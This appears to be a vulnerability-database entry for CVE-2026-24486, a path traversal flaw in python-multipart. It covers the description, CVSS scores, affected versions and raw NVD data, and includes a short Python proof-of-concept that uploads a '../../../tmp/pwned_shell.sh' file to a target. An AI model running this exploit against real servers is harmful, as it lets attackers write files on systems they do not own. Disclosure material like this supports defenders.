Security Vulnerability Report
中文
CVE-2026-24486 CVSS 8.6 HIGH

CVE-2026-24486

Published: 2026-01-27 01:16:02
Last Modified: 2026-02-17 20:44:50

Description

Python-Multipart is a streaming multipart parser for Python. Prior to version 0.0.22, a Path Traversal vulnerability exists when using non-default configuration options `UPLOAD_DIR` and `UPLOAD_KEEP_FILENAME=True`. An attacker can write uploaded files to arbitrary locations on the filesystem by crafting a malicious filename. Users should upgrade to version 0.0.22 to receive a patch or, as a workaround, avoid using `UPLOAD_KEEP_FILENAME=True` in project configurations.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:fastapiexpert:python-multipart:*:*:*:*:*:python:*:* - VULNERABLE
python-multipart < 0.0.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-24486 Path Traversal PoC # Target: Server using python-multipart with UPLOAD_KEEP_FILENAME=True import requests import sys def exploit_upload(target_url, filename_traversal, malicious_content): """ Exploit path traversal vulnerability in python-multipart UPLOAD_DIR must be configured and UPLOAD_KEEP_FILENAME=True """ files = { 'file': (filename_traversal, malicious_content, 'text/plain') } try: response = requests.post(target_url, files=files, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Filename: {filename_traversal}") print(f"[*] Status Code: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000/upload" # Example: Write to /tmp via path traversal # Adjust traversal depth based on UPLOAD_DIR configuration malicious_filename = "../../../tmp/pwned_shell.sh" malicious_content = "#!/bin/bash\n# Malicious payload" exploit_upload(target, malicious_filename, malicious_content)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24486", "sourceIdentifier": "[email protected]", "published": "2026-01-27T01:16:02.303", "lastModified": "2026-02-17T20:44:50.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Python-Multipart is a streaming multipart parser for Python. Prior to version 0.0.22, a Path Traversal vulnerability exists when using non-default configuration options `UPLOAD_DIR` and `UPLOAD_KEEP_FILENAME=True`. An attacker can write uploaded files to arbitrary locations on the filesystem by crafting a malicious filename. Users should upgrade to version 0.0.22 to receive a patch or, as a workaround, avoid using `UPLOAD_KEEP_FILENAME=True` in project configurations."}, {"lang": "es", "value": "Python-Multipart es un analizador multipart en streaming para Python. Antes de la versión 0.0.22, existe una vulnerabilidad de salto de ruta al usar opciones de configuración no predeterminadas 'UPLOAD_DIR' y 'UPLOAD_KEEP_FILENAME=True'. Un atacante puede escribir archivos subidos en ubicaciones arbitrarias del sistema de archivos al crear un nombre de archivo malicioso. Los usuarios deben actualizar a la versión 0.0.22 para recibir un parche o, como solución alternativa, evitar usar 'UPLOAD_KEEP_FILENAME=True' en las configuraciones del proyecto."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fastapiexpert:python-multipart:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.0.22", "matchCriteriaId": "858D1FA3-E02B-4DED-8E4F-C4553224CB80"}]}]}], "references": [{"url": "https://github.com/Kludex/python-multipart/commit/9433f4bbc9652bdde82bbe380984e32f8cfc89c4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Kludex/python-multipart/releases/tag/0.0.22", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/Kludex/python-multipart/security/advisories/GHSA-wp53-j4wj-2cfg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}